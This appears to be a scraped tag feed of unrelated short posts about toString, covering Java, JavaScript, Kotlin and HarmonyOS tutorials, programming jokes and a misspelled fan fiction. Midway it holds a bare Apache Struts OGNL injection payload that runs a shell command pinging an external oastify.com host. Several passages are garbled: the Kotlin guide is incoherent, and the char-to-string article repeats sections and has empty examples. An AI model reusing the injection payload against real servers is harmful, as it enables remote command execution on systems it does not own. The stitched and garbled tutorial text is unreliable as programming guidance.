#tostring()
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Esta funcion nos convierte el objeto de tipo Date a tipo String. Espero les haya resultado de utilidad!
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Understanding the Java toString() Method: Advantages and Disadvantages
Understanding the Java toString() Method In Java, the toString() method is an essential part of the Object class, the superclass of all Java classes. This method returns a string representation of the object, which can be useful for debugging, logging, and displaying object information in a human-readable format. In this blog post, we will explore the advantages and disadvantages of the Java toString() Method.
The Java toString() method is used to convert an object into a human-readable string representation.
Advantages:
✅ Easier Debugging – Helps print object details for debugging. ✅ Improves Readability – Provides meaningful object representation. ✅ Customizable – Can be overridden to display relevant object data.
Disadvantages:
❌ Default Output May Be Unreadable – If not overridden, it prints the object’s hashcode. ❌ Performance Overhead – Overriding toString() for complex objects may affect performance. ❌ Security Concerns – May expose sensitive data if not implemented carefully.
Conclusion: Overriding toString() makes debugging easier but should be used thoughtfully to avoid security risks.
#java tostring method#java tostring method override#java tostring() method#java tostring() method with example#method#object tostring() method#override tostring() method in java#the tostring() method#tostring method#tostring method in java#tostring method java#tostring()#tostring() method#tostring() method in java#tostring() method in java with an example#tostring() method in javascript#tostring() method java in tamil
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Programming is so funny. It says
"ERROR: int can not be converted to a string"
And you're just like "oh, okay. *adds ".ToString()" to the end*"
"Alright that's okay ^w^"
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CoD Headcanons: How they Act when You don't Look both Way when crossing Street and Vehicle is Coming at You
I was inspired by something that happen to me today when I go to store
Phillip Grapes
Phillip was in his Lifted truck driving 80 MPH down the road when you were crossing Street holing Grocerie. Including Eggs and Avocado. For tonights toast dinner. You looked up at sund of cunty music blasting and saw the red white and blue vehicle flying toward you, you droped paper bag, eggs and toast crawshing to floor. Suddenly LOUD SCREECH!!! fill ears. as Philly come to a stop. HE ohped out of the truck, his truck ballz swinging as he slamed it shut. He stomp over to you about to yell whemn…… he see your beauty, his eye go es wide. H is speehless. snd loo at u. with LIST (see Gif above) He stoppe down and pick up egg adn avicadphillip jro anf tostred. “Hey babe, wanna come to me bbq 2nite?” Hr say? ]’the wife kkifds, sclottish hubnk and David plus the kids (clownius, Amberleigh Lynn, and Phillp jr will all be there.” You. aceept. “Ok.” and both of you go into lifty virile and masculine Dodge Ram F150 Tundra Truvk with 40 inch double wheels and over head lights on truck. (Phillip love he truck named “Liberty”} sp yuo jolined the Grapes cklan at the beach where BBQ was. held around bone fire. And 9 molnths latwser you pregnant with Philipa baby grl Grapes. The family invvciged you tol live in theuir mansion with them, 5 stories wiht lots of land. You join afamily (y/n) Grapes. Phillip dad show you his coin collection.
PART 2 Comign soon.
#roach x reader#phillip graves#phillip graves x reader#phillip grapes#call of duty#frodo baggins#call of duty imagine#cod x reader
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l + ratio + clone + copy + partialeq + partialord + eq + ord + debug + display + deref + derefmut + index + indexmut + send + sync + read + write + unpin + future + add + sub + mul + div + rem + neg + not + bitand + bitor + bitxor + shl + shr + fn + fnmut + fnonce + into + from + tryinto + tryfrom + tostring + fromstr + borrow + toowned + asref + asmut
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A New Programming Numeric - White Paper
Thanks to the 1/3 problem; we know that floating point numbers aren't exactly accurate. What can we do about it?
I propose a new kind of numeric that retains its divisor (or any other radicals) until such a time it becomes an integer again. When used as a string for display or other visual output purposes; it would then give its approximate representation. And if using an appropriate display-encoding system; any and all required notation.
It would look like what we already have now, int, float, or string; but the operators would be assigned differently.
Numeric {
Numeric num=1, div=1; string rep;
+(numeric oth){
let x = oth.num;
if (div!=oth.div) x*=div and (num*=oth.div && div*=oth.div)
num+=x;
}; -{};*{};/{};%{}; //...etc
toString(){return rep||(rep=num/div)}
Update() { /*meat and potatoes everytime the number is updated, check if the num/div can be simplified by reducing the div to as close to 1 as possible.*/}
}
There are obvious performance issues that are immediately apparent in this incomplete pseudo-code. However, I believe that there's a lot of usage we can get from this in the sectors that require much more precision than modern languages and scripting currently give on the surface.
Essentially; a lot of the separated (Math) libraries would be brought under one roof, and that could theoretically improve accuracy.
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nvm i found it, it's the 0 == "0" and 0 == [] then surely "0" == [] one
this makes sense because of types but that's also why it doesn't make sense. The type coercion of the loose comparator (==) is one of the most useful features in the language but only if you understand it because it causes endless problems if you don't. for any x == y, with an x of TypeA and a y of TypeB, JS does this. is the boolean value of x equivalent to the boolean value of y when forced to TypeA? in this case, 0, a FALSE boolean value, is compared to Number("0") which is just 0, yielding TRUE Number([]) yields 0, giving us 0 == 0 and another TRUE however, Array.from("0") provides ['0'], which, as an array with something in it, is TRUE, and therefore not equivalent to an empty array. This also works backwards. [].toString() yields "" (the empty string) a FALSE value, not equivalent to "0", a nonempty string.
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%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ping hrcvjgmk9pxzg1dola0bemmfy64wsl.oastify.com -c1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
Do you have a question about Avatar: The Last Airbender?
The cast may have answers!
Submit your questions here, and come back on Thursday, February 22nd at 12pm PT / 3pm ET for Answer Time.
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CMSC203 Lab1 – Driver and Data Element Driver to test a class
In this lab, you are introduced to multiple classes (a driver class and a data element class). You will write the driver class in order to test the various methods provided in the data element class. You are given a file called Movie.java, which has the data fields for a movie, along with “setters” and “getters”, and a “toString” method. You will create a driver class from the pseudocode in…
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JavaScript 8 🧬 objects
New Post has been published on https://tuts.kandz.me/javascript-8-%f0%9f%a7%ac-objects/
JavaScript 8 🧬 objects

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a - creating objects objects are a fundamental data structure used to store collections of key-value pairs. Objects can represent real-world entities or abstract concepts with properties (keys) and methods (functions). Almost all object are instances of Object. A Typical Object inherits properties from Object.prototype Creating Objects: 1. Object literal syntax → const const person = 2. Using Object Constructor → const person = new Object(); 3. Using Object create Method → const person = Object.create(prototype); 4. Using Class syntax (ES6+) → class Person const person = new Person('Alice', 30); b - access, add, modify and delete object properties You can access object properties by using dot or bracket notation console.log(person.name); → Dot notation console.log(person['age']); → Bracket notation You can modify existing properties or add new ones person.age = 31; → Modify existing property person.city = 'New York'; → Add a new property You can delete properties from an object using the delete operator delete person.isStudent; → removes a property c - check for property existence and property iteration To check if an object has a specific property, you can use the in operator or hasOwnProperty console.log('name' in person); → exists, returns true console.log(person.hasOwnProperty('age')); → exists, returns true You can iterate over the properties of an object using for...in loop for (let key in person) → property iteration person is the object key will take on each property name of the person object in turn d - Object.keys entries and more methods Object.keys() and Object.methods() are built-in JavaScript methods. keys() returns an array of the object's property names, keys let keys = Object.keys(person); → returns ['name', 'age', 'greet', 'city'] entries() returns both keys and values let entries = Object.entries(person); → returns [["name","Alice"], ["age",31], ["greet",null], ["city","New York"]] entries.forEach(([key, value]) = > → iterates through the returned entries and some more: toString(), toLocaleString(locales[, options]), valueOf(), assign(target, ...sources) isPrototypeOf(object), propertyIsEnumerable(prop), values(object), create(o, propertiesObject), defineProperty(obj, prop, descriptor) defineProperties(obj, props), getOwnPropertyNames(obj), getOwnPropertySymbols(obj), freeze(obj), seal(obj)
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CSC8014 Assessed Coursework Solved
Shelter Management System 1. Aim The aim of this coursework is for you to practice the design and good practice principles covered in lectures. You will develop interfaces and classes to demonstrate that you have learned and understood the module material, including: • appropriate overriding of Object class methods, including overriding toString and providing a static valueOf method when…
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Elevate Your Craft: Mastering Kotlin Programming in 2025
Did you know that companies adopting Kotlin report up to a 30% reduction in codebase size and significant gains in developer productivity?
Are you ready to benefit? Whether you are just entering the world of coding, or a veteran trying to evolve your skill set, Kotlin could be exactly what you have been looking for—especially if you aim to work in an Android app development company that prioritizes efficiency and modern programming solutions.
This blog post offers a robust guide that focuses on optimizing Kotlin programming. It highlights core concepts, avoiding typical mistakes, tools of trade and guidance from field leaders. Let us help you confidently maneuver the landscape in 2025.
Grasping Essential Kotlin Concepts
Comprehending the building blocks is key to mastering Kotlin programming. Variables, data classes and null safety features represent just a few essential pillars you must possess. Without proper understanding of this essential syntax and features, you will create a shaky foundation with inefficient work flow.
Variables: Unlike other popular coding languages such as Java, Kotlin features 'val' and 'var.' Val marks an immutable, read-only variable, and 'var' marks a mutable variable whose content may be changed at will. Properly grasping these fundamental qualities contributes to writing stable, well structured, maintainable code.
Data Classes: Kotlin excels through its concept of data classes; structured around the idea of concisely carrying data. The compiler, for you, creates functions that provide 'equals', 'hashCode', 'toString' making boiler-plate less intense. The result simplifies object modeling duties considerably.
Null Safety: One prevalent problem in development appears as "NullPointerExceptions." But fear not! Kotlin aims for resolution: at the language level the nulls get handled directly to increase application reliability! You might also benefit from its nullable type declaration; type marking might have a potential lack.
Navigating Common Pitfalls
Everyone makes mistakes during their work no matter if it's a job or school work, here are the potential problems that might come up when using Kotlin. Even with a modern programming language as elegant as Kotlin, it’s easy to stumble. Being aware of common pitfalls enables more effective problem solving capabilities along your coding adventures.
1. Overusing `!!` Operator: The not-null assertion operator (`!!`) forcibly unwraps a nullable type; use only when you are absolutely positive that your variable must hold value. A crash event results for you the programmer for sure, anytime a nullable expression occurs unexpectedly during process running as opposed by when you're testing, such exceptions turn against user interface performance issues from happening!
2. Neglecting Extension Functions: Many miss Kotlin's extensibility feature as something special beyond their immediate object; extension function benefits help streamline legacy classes using add-ons; avoiding redundancy can promote efficient code arrangement easily managed between users.
3. Ignoring Code Routines: Kotlin harnesses asynchronous concurrency without deeply entangled callback patterns utilizing light threaded concurrency that results effectively within high loads handled gently; avoid old, slow threads entirely utilizing code routine capabilities whenever your use scenario requires asynchronous activity processing patterns like when dealing user response in background, thereby sustaining system application interface reactivity despite simultaneous loads by processes or tasks!
Building a Kotlin Class Method: A Step-by-Step Guide
Creating a new class method (or function) in Kotlin is foundational to structuring your code. Consider this example involving an `Account` class and a `deposit` method. Step 1: Defining the Class First, define the `Account` class with any necessary properties: ```kotlin class Account(var balance: Double) { // Class content goes here } ``` Step 2: Creating the `deposit` Method Next, create the `deposit` method within the `Account` class. This method will take an `amount` parameter of type `Double` and add it to the account's balance. ```kotlin class Account(var balance: Double) { fun deposit(amount: Double) { balance += amount println("Deposited: $amount. New balance: $balance") } } ``` Step 3: Using the `deposit` Method Now, create an instance of the `Account` class and call the `deposit` method: ```kotlin fun main() { val myAccount = Account(100.0) myAccount.deposit(50.0) } ``` Output: ``` Deposited: 50.0. New balance: 150.0 ``` Explanation 1. Class Definition: `class Account(var balance: Double)` declares a class named `Account` with a constructor that takes an initial `balance` as a `Double`. 2. Method Definition: `fun deposit(amount: Double) { ... }` defines a method named `deposit` within the `Account` class. This method takes a `Double` parameter `amount`. 3. Logic Inside Method: `balance += amount` adds the `amount` to the `balance`. The line `println(...)` then prints a confirmation message with the new balance. 4. Usage Example: In the `main` function, we create an instance of `Account` and call the `deposit` method on that instance.
Learn More About Full-stack developers.
Guidance and Insights From Leading Kotlin Professionals
Learning comes through diverse resources; experience through guidance benefits by Kotlin master programmers or experts from prominent businesses! Take note through perspectives described henceforth that empower abilities or approaches; become the next programming rockstar!
Maintainability: Industry recognized developers always place value on code clarity through concise readability through self documentation via naming conventions. Keep your class clear for efficient future modification or change handling within projects managed successfully.
Testing: Consider thoroughly covering software via tests constantly - specifically automated test scripts using complex logics from different use contexts; it prevents the problems! Use edge context considerations always during unit script drafting too!
Upgrading: Regularly checking Kotlin's latest updates with their distinct novel syntax abilities will benefit via optimal integration; also regularly evaluating updated integration or build assistance enhances tool functionality.
Elevating Code Quality via Pragmatic Tips
Refine the abilities and style that will facilitate exceptional Kotlin code creation from conceptual stage until post production software runs well during its complete software cycle - using techniques provided within tips which enable better outputs than average code outcomes at each step
Adopt functions using scopes from enhanced organization throughout projects – make use the `apply`, `let`, `run`, etc for minimizing unnecessary object initialization setups to sustain a clear logic around operations across files inside programs that help team programmers or individual persons managing complex coding solutions over time without experiencing chaos across functions related inside your main algorithm flow which sustains neat function blocks facilitating collaborative improvements along software updates at scheduled production targets over lifespan after release version deployment for user access within its software functionality specifications during end implementation across teams from inception until users install and integrate through program release.
Employ `Sealed Classes`: Sealed classes, which fall under advanced category functions that define strict sets; they represent limited hierarchies through value or code constraints using inheritance limitations, with predefined instances which enhance data processing predictability avoiding future cases due potential exceptions; enabling stronger algorithm constructions and better overall fault handing from conception via deployment; thus sealed structures promote both cleaner system architectures or fault prediction with ease than open ended object sets – for better solutions created for better security on run without risks due external anomalies from unanticipated issues that need remediation along project maintenance after rollout when running.
Code Example Showing Scope Functions for Refined Data Processing
```kotlin data class Person(var name: String, var age: Int? = null) fun processPerson(person: Person?): String { return person?.let { // Use let to safely operate on a non-null Person it.age?.let { age -> // Nested let to safely operate on age if it's not null "Name: ${it.name}, Age: $age" } ?: "Name: ${it.name}, Age: Not Available" // Handle case where age is null } ?: "Person is null" // Handle case where person is null } fun main() { val person1 = Person("Alice", 30) val person2 = Person("Bob") val person3: Person? = null println(processPerson(person1)) // Output: Name: Alice, Age: 30 println(processPerson(person2)) // Output: Name: Bob, Age: Not Available println(processPerson(person3)) // Output: Person is null } ```
Benefits of using scoped function let here
By carefully nesting them in such ways where potential vulnerabilities can be effectively removed which can lead less chances runtime program breaking problems;
Frequently Asked Questions
Answering queries frequently encountered, clarifies misconceptions alongside enabling broader absorptions. These answer key concepts for learners as the progress on journey using Kotlin programming.
Is it complicated to grasp this modern language?
If you're acquainted using OOP and another coding such as java or c ++ using Kotlin does provide easy seamless transition experience; new comers usually take time adopting its distinct functions versus more well known syntax abilities such as C/ Java style syntaxes or procedural script structures though the learning pace picks rapidly across stages!
Does this Kotlin programming language support code interoperability?
Certainly it works interoperatively from JVM with complete backward similarity between each class available that empowers seamless implementation between all projects existing throughout application environments especially leveraging through present-day architectures already in execution during coding shifts!
How does it help mobile-app design?
Primarily Kotlin plays dominant during development via OS through benefits by easier coding rules syntax combined via reduced code resulting fast processing and therefore enhancing productivity! Better overall features than before too!
Can software created work well enterprise structures at businesses?
Totally Kotlin becomes greatly preferable in scalable programs, applications requiring constant upkeep like e commerce services at massive enterprises needing seamless integrations across wide structures plus reliable runtime operations ensuring customer success due by advanced type protections & concurrency qualities provided!
What resources enable expertise building at beginner programmers using Kotlin language design features from basic starting point onwards?
Web tutorial sessions or dedicated platforms using instructional guidelines in books online training series from well reviewed companies facilitate skill enhancements - especially that are coupled by involved personal projects done gradually across different levels! Experiment always as practice helps !
Conclusion
This post covers major foundations relating directly with learning more or getting skills within areas relating toward enhancing usage in current technologies especially pertaining throughout ecosystem related that supports different devices with seamless connection or information retrieval - ultimately, your skills in this sphere shall expand during coding periods leading ahead so prepare via dedicated approaches through regular engagements and exploration toward making innovations relating coding overall – it will benefit eventually due effort sustained over timeline by applying the skill across more projects going to contribute positively to the growth & efficiency associated from programs built either using group member assistance and individually – to build excellence upon programming techniques continuously moving along in all related stages till completion.
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Exploring Record Classes in Java: The Future of Immutable Data Structures
A record in Java is a special type of class designed specifically for holding immutable data. Introduced in Java 14 as a preview feature and made stable in Java 16, records eliminate the need for writing repetitive boilerplate code while still providing all the essential functionalities of a data model.
Key Characteristics of Java Records
Immutable by Default – Once created, the fields of a record cannot be modified.
Automatic Methods – Java automatically generates equals(), hashCode(), and toString() methods.
Compact Syntax – No need for explicit constructors and getters.
Final Fields – Fields inside a record are implicitly final, meaning they cannot be reassigned.
How to Define a Record Class in Java
Defining a record class is straightforward. You simply declare it using the record keyword instead of class.
Example: Creating a Simple Record
java
Using the Record Class
java
Notice how we access fields using methods like name() and age() instead of traditional getter methods (getName() and getAge()).
Comparing Records vs. Traditional Java Classes
Before records, we had to manually write constructors, getters, setters, and toString() methods for simple data structures.
Traditional Java Class (Without Records)
java
This approach requires extra lines of code and can become even more verbose when dealing with multiple fields.
With records, all of this is reduced to just one line:
java
When to Use Records?
Records are ideal for: ✔ DTOs (Data Transfer Objects) ✔ Immutable Data Representations ✔ Returning Multiple Values from a Method ✔ Reducing Boilerplate Code in Simple Models
Customizing Records: Adding Methods and Static Fields
Though records are immutable, you can still add methods and static fields for additional functionality.
Example: Adding a Custom Method
java
Now you can call circle.area() to calculate the area of a circle.
Using Static Fields in Records
java
Limitations of Java Record Classes
While records are powerful, they do have some limitations: ❌ Cannot Extend Other Classes – Records implicitly extend java.lang.Record, so they cannot inherit from any other class. ❌ Immutable Fields – Fields are final, meaning you cannot modify them after initialization. ❌ Not Suitable for Complex Objects – If your object has behavior (methods that modify state), a traditional class is better.
Conclusion: Are Java Record Classes the Future?
Record classes offer a modern, efficient, and elegant way to work with immutable data structures in Java. By removing repetitive boilerplate code, they improve code readability and maintainability.
If you’re working with data-heavy applications, DTOs, or immutable objects, adopting records is a great way to simplify your Java code while ensuring efficiency.
What’s your experience with Java records? Share your thoughts in the comments! 🚀
FAQs
1. Can I modify fields in a Java record?
No, records are immutable, meaning all fields are final and cannot be changed after object creation.
2. Are Java records faster than regular classes?
Performance-wise, records are similar to normal classes but offer better readability and maintainability due to their compact syntax.
3. Can a record extend another class?
No, records cannot extend any other class as they already extend java.lang.Record. However, they can implement interfaces.
4. How are records different from Lombok’s @Data annotation?
While Lombok’s @Data generates similar boilerplate-free code, it requires an external library. Java records, on the other hand, are built into the language.
5. What Java version supports records?
Records were introduced as a preview feature in Java 14 and became a stable feature in Java 16. For more Info : DevOps with Multi Cloud Training in KPHB
#Java#CoreJava#JavaProgramming#JavaDeveloper#LearnJava#Coding#Programming#Tech#SoftwareDevelopment#ImmutableObjects#JavaRecords#OOP#CleanCode#CodeNewbie#DevLife#BackendDevelopment#Java21#TechBlog#CodeWithMe#100DaysOfCode#CodeSnippet#ProgrammingTips#TechTrends
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what i needed was the toString object btw 🙌
#finn says shit#collegeposting#now i just have to format my string better#and like. one more thing#and then a rand for funsies (if i have time)#javaposting#programmingposting
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HarmonyOS NEXT Practical: String Tool
Goal: Encapsulate string utility classes to implement commonly used functions, such as checking whether strings are empty, converting strings to byte streams, etc.
Knowledge points: The Buffer object is used to represent a fixed length byte sequence and is a dedicated cache area for storing binary data. buffer.from: Create a new Buffer object based on the specified array. BufferEncoding: Indicates the supported encoding format types.
util.TextEncoder [code] util.TextEncoder(encoding?: string); [/code] Used to encode strings into byte arrays, supporting multiple encoding formats. It should be noted that when using TextEncoder for encoding, the number of bytes occupied by characters varies under different encoding formats. When using TextEncoder, it is necessary to clearly specify the encoding format to be used to ensure the correct encoding result.
util.TextDecoder.create [code] static create(encoding?: string): TextEncoder [/code] Method for creating TextEncoder object.
util.Base64Helper() The Base64Helper class provides Base64 encoding and decoding as well as Base64 URL encoding and decoding functionality. The Base64 encoding table includes A-Z a-z、 The 62 characters from 0-9, as well as the two special characters'+'and'/'. When encoding, divide the raw data into groups of 3 bytes to obtain several 6-digit numbers, and then use the corresponding characters in the Base64 encoding table to represent these numbers. If there are 1 or 2 bytes remaining at the end, the '=' character needs to be used to fill in. The Base64 URL encoding table includes A-Z a-z、 0-9 and 64 characters' - 'and' _ ', Base64 URL encoding result does not contain'='.
Actual combat: [code] import { buffer, util } from "@kit.ArkTS";
/**
字符串工具 / export class StringKit { /*
字符串是否为空
@param str 被检测的字符串
@return 当字符串为undefined、null或者空字符串时,返回true,否则返回false */ static isEmpty(str: string | undefined | null): boolean { return str == undefined || str == null || str == ''; } /**
字符串是否不为空
@param str 被检测的字符串
@returns 当字符串为非空字符串时,返回true,否则返回false */ static isNotEmpty(str: string | undefined | null) { return !StringKit.isEmpty(str); } /**
字符串转Uint8Array
@param str 字符串
@param encoding 编码,默认'utf-8'
@returns Uint8Array */ public static stringToUint8Array(str: string, encoding: buffer.BufferEncoding = 'utf-8'): Uint8Array { const textEncoder = new util.TextEncoder(encoding); return textEncoder.encodeInto(str); } /**
Uint8Array转字符串
@param uint8Array Uint8Array
@param encoding 编码,默认'utf-8'
@returns 字符串 */ static uint8ArrayToString(uint8Array: Uint8Array, encoding: buffer.BufferEncoding = 'utf-8'): string { const textDecoder = util.TextDecoder.create(encoding, { ignoreBOM: true }); return textDecoder.decodeToString(uint8Array); } /**
字符串转Base64字符串
@param str 字符串
@returns Base64字符串 */ static stringToBase64(str: string): string { const uint8Array = StringKit.stringToUint8Array(str); const base64Helper = new util.Base64Helper(); return base64Helper.encodeToStringSync(uint8Array); } /**
Base64字符串转字符串
@param base64Str Base64字符串
@returns 字符串 */ static base64ToString(base64: string): string { let base64Helper = new util.Base64Helper(); const uint8Array = base64Helper.decodeSync(base64); return StringKit.uint8ArrayToString(uint8Array) } /**
字符串转Buffer
@param str 字符串
@param encoding 编码,默认'utf-8'
@returns Buffer */ static stringToBuffer(str: string, encoding: buffer.BufferEncoding = 'utf-8'): buffer.Buffer { return buffer.from(str, encoding); } /**
字符串转ArrayBuffer
@param str 字符串
@param encoding 编码,默认'utf-8'
@returns ArrayBuffer */ static stringToArrayBuffer(str: string, encoding: buffer.BufferEncoding = 'utf-8'): ArrayBuffer { return buffer.from(str, encoding).buffer; } /**
ArrayBuffer转字符串
@param arrayBuffer ArrayBuffer
@param encoding 编码,默认'utf-8'
@returns string */ static arrayBufferToString(arrayBuffer: ArrayBuffer, encoding: buffer.BufferEncoding = 'utf-8'): string { return buffer.from(arrayBuffer).toString(encoding); } /**
ArrayBuffer转Uint8Array
@param arrayBuffer ArrayBuffer
@returns Uint8Array */ static arrayBufferToUint8Array(arrayBuffer: ArrayBuffer): Uint8Array { return new Uint8Array(arrayBuffer) } /**
Uint8Array转ArrayBuffer
@param uint8Array
@returns ArrayBuffer */ static unit8ArrayToArrayBuffer(uint8Array: Uint8Array): ArrayBuffer { return uint8Array.buffer as ArrayBuffer; } } [/code]
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How to Convert Character to String in Java
In Java, converting a character (char) to a string (String) is a common operation. Java provides multiple ways to achieve this, each suitable for different use cases. This article how to convert character to string in java a character into a string efficiently.
Using Character.toString(char c)
Java provides a built-in method Character.toString(char c) that converts a character into a string.
Example: char ch = 'A'; String str = Character.toString(ch); System.out.println(str); // Output: A This method is simple and recommended for converting a single character to a string.
Using String Concatenation
You can concatenate an empty string ("") with a character to convert it into a string.
Example: char ch = 'B'; String str = "" + ch; System.out.println(str); // Output: B This approach is widely used because of its simplicity and readability.
Using String.valueOf(char c)
The String.valueOf() method is another way to convert a character to a string in Java.
Example: This approach is widely used because of its simplicity and readability.
Using String.valueOf(char c)
The String.valueOf() method is another way to convert a character to a string in Java.
Example: This approach is widely used because of its simplicity and readability.
Using String.valueOf(char c)
The String.valueOf() method is another way to convert a character to a string in Java.
Example:
Using Character Wrapper Class and toString() Method
Java allows using the Character wrapper class with the toString() method to convert a character to a string.
Example:
Character ch = 'D'; String str = ch.toString(); System.out.println(str); // Output: D This method is useful when dealing with Character objects instead of primitive char values.
Using StringBuilder or StringBuffer
If you are dealing with multiple character conversions, using StringBuilder or StringBuffer can be efficient.
Example: char ch = 'E'; StringBuilder sb = new StringBuilder(); sb.append(ch); String str = sb.toString(); System.out.println(str); // Output: E This approach is useful when working with dynamic strings that require multiple modifications.
Conclusion
Converting a character to a string in Java is straightforward and can be achieved using various methods, including:
Character.toString(char c)
String concatenation ("" + char)
String.valueOf(char c)
Character.toString()
StringBuilder or StringBuffer
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